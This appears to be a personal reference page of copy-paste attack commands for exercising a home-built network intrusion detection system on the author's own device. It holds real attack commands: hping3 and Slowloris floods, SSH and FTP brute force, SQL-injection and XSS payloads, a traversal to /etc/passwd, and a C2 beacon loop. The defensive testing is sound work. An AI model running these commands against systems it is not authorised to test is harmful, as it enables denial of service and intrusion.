NIDS Attack Commands

Copy-paste commands to generate every attack the Counselor NIDS flags — test detection and raise rule-trust

---

> **Authorised use only.** Run these against a host **you own**, on your **own** network. Attacking systems you do not own is illegal.

Before you start

1. Start the NIDS on the capture interface:

```
cd ~/Projects/Personal/Software/NIDS/nids
./start.sh live wlan0
```

2. Set your target once — a **different device you own** on the hotspot (172.20.10.x). Not this laptop (loopback = invisible), not the gateway 172.20.10.1 (your phone):

```
export TARGET=172.20.10.7 # change to your target device's IP
```

Every command below uses $TARGET. The NIDS only sees traffic that crosses wlan0, which is why the target must be another device.

Recon

Port scan live_access + Snort port_scan (122:x)

```
sudo nmap -sS -p- -T4 --max-retries 1 $TARGET
```

Host sweep Snort ICMP sweep

```
sudo nmap -sn 172.20.10.0/28
```

Flooding / Denial of Service — live_dos (your strongest detector, best for raising trust)

SYN flood live_dos + Snort SYN-flood rule

```
sudo hping3 -S -p 80 -i u1000 -c 20000 $TARGET
```

20000 packets, rate-limited. Harder (will hurt the target): sudo hping3 -S --flood -p 80 $TARGET

UDP flood live_dos

```
sudo hping3 --udp -p 53 -i u1000 -c 20000 $TARGET
```

ICMP (ping) flood live_dos

```
sudo hping3 --icmp -i u1000 -c 20000 $TARGET
```

Slow-HTTP (Slowloris) live_dos + Snort request-flood rule — needs a web server on target

```
slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u http://$TARGET/ -x 24 -p 3 -l 120
```

HTTP GET flood live_dos — Ctrl-C to stop

```
for i in $(seq 1 16); do ( while true; do curl -s -o /dev/null http://$TARGET/; done ) &
done
```

Break-in (password guessing) — live_access

SSH brute force live_access + Snort brute-force rule

```
nmap -p22 --script ssh-brute --script-args ssh-brute.timeout=4s $TARGET
```

With hydra instead: hydra -L users.txt -P rockyou.txt ssh://$TARGET (sudo apt install hydra)

FTP brute force live_access + Snort brute-force rule

```
nmap -p21 --script ftp-brute $TARGET
```

Web attacks — live_access + Snort web rules (need a web server on the target)

Full web-attack scan live_access + Snort web rules

```
nikto -h http://$TARGET/
```

SQL injection Snort SQL-injection rule

```
curl -s -G "http://$TARGET/" --data-urlencode "id=1' OR '1'='1"
curl -s -G "http://$TARGET/" --data-urlencode "id=1 UNION SELECT user,pass FROM users--"
```

Cross-site scripting (XSS) Snort XSS rule

```
curl -s -G "http://$TARGET/" --data-urlencode "q=<script>alert(1)</script>"
curl -s -G "http://$TARGET/" --data-urlencode "q=<img src=x onerror=alert(1)>"
```

Path traversal Snort path-traversal rule

```
curl -s -o /dev/null "http://$TARGET/../../../../etc/passwd"
```

Botnet — live_bot

C2 beaconing simulation live_bot — steady small check-ins, like an infected host

```
for i in $(seq 1 60); do curl -s -m 3 -o /dev/null
"http://$TARGET:8080/beacon?id=bot01&seq=$i"; sleep 5; done
```

Point $TARGET at a host you own acting as the pretend control server. Recognised by behaviour, so it may not always flag.

Raising Snort rule-trust to 0.91–0.97

Trust is earned, not set: `trust = (18 + agreements) / (20 + agreements + disagreements)`. It rises only when Snort and the AI **agree** on a rule. Floods are the reliable path (live_dos is strong) — run one a few times to accumulate agreements. Scans often make the AI disagree, which lowers trust.

Target trust	0.91	0.92	0.93	0.95	0.96	0.97
Agreements needed on that rule	~3	~5	~9	~20	~30	~47

Watching detection + trust

On the dashboard: the **Alerts** page shows each flagged connection (a flood reads as “Flooding attack”, caught by the AI and the rule checker = highest confidence); the **AI detectors** page shows the per-rule trust table moving. Or from the terminal (read-only):

```
cd ~/Projects/Personal/Software/NIDS/nids && .venv/bin/python -c "import redis; from
src.nids.services import bus, monitor; r=redis.Redis.from_url('redis://localhost:6379/0');
print('alerts:', r.xlen(bus.ALERTS)); [print(x) for x in monitor.read_snort_trust(r)]"
```

Counselor NIDS — attack-command reference. All tools are on Kali except hydra. For authorised testing of your own system only.